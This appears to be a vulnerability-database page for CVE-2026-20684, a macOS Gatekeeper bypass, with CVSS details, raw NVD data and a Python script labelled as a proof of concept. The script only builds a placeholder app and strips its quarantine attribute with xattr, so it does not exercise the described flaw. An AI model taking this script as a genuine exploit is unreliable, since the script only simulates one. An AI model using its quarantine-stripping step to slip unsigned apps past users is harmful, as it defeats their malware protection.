Security Vulnerability Report
中文
CVE-2026-20684 CVSS 3.3 LOW

CVE-2026-20684

Published: 2026-03-25 01:17:05
Last Modified: 2026-05-10 14:16:47

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.4. An app may bypass Gatekeeper checks.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-20684 (Gatekeeper Bypass) # This script demonstrates how an app might bypass Gatekeeper checks # by manipulating file attributes or leveraging the permissions flaw. import os import subprocess def create_malicious_app(): app_name = "MaliciousApp.app" print(f"[*] Creating {app_name} structure...") # Create basic app structure contents_dir = os.path.join(app_name, "Contents") macos_dir = os.path.join(contents_dir, "MacOS") os.makedirs(macos_dir, exist_ok=True) # Create a malicious payload (simple shell script) payload_path = os.path.join(macos_dir, "malicious_app") with open(payload_path, 'w') as f: f.write("#!/bin/bash\n") f.write("echo 'Gatekeeper Bypassed!'\n") f.write("say 'System compromised'\n") os.chmod(payload_path, 0o755) # Create Info.plist (Minimal configuration) plist_path = os.path.join(contents_dir, "Info.plist") with open(plist_path, 'w') as f: f.write('<?xml version="1.0" encoding="UTF-8"?>\n') f.write('<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n') f.write('<plist version="1.0">\n') f.write('<dict>\n') f.write(' <key>CFBundleExecutable</key>\n') f.write(' <string>malicious_app</string>\n') f.write(' <key>CFBundleIdentifier</key>\n') f.write(' <string>com.example.malicious</string>\n') f.write('</dict>\n') f.write('</plist>\n') # Attempt to remove quarantine attributes to simulate bypass # In a real exploit, the vulnerability would allow this without triggering warnings try: subprocess.run(['xattr', '-d', 'com.apple.quarantine', app_name], check=False) print(f"[+] Quarantine attributes removed from {app_name}") except Exception as e: print(f"[-] Error removing attributes: {e}") print(f"[+] PoC created at ./{app_name}") print("[*] Run 'open ./' + app_name + ' to test interaction") if __name__ == "__main__": create_malicious_app()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20684", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:05.387", "lastModified": "2026-05-10T14:16:46.587", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.4. An app may bypass Gatekeeper checks."}, {"lang": "es", "value": "Se abordó un problema de permisos con restricciones adicionales. Este problema está corregido en macOS Tahoe 26.4. Una app puede eludir las comprobaciones de Gatekeeper."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}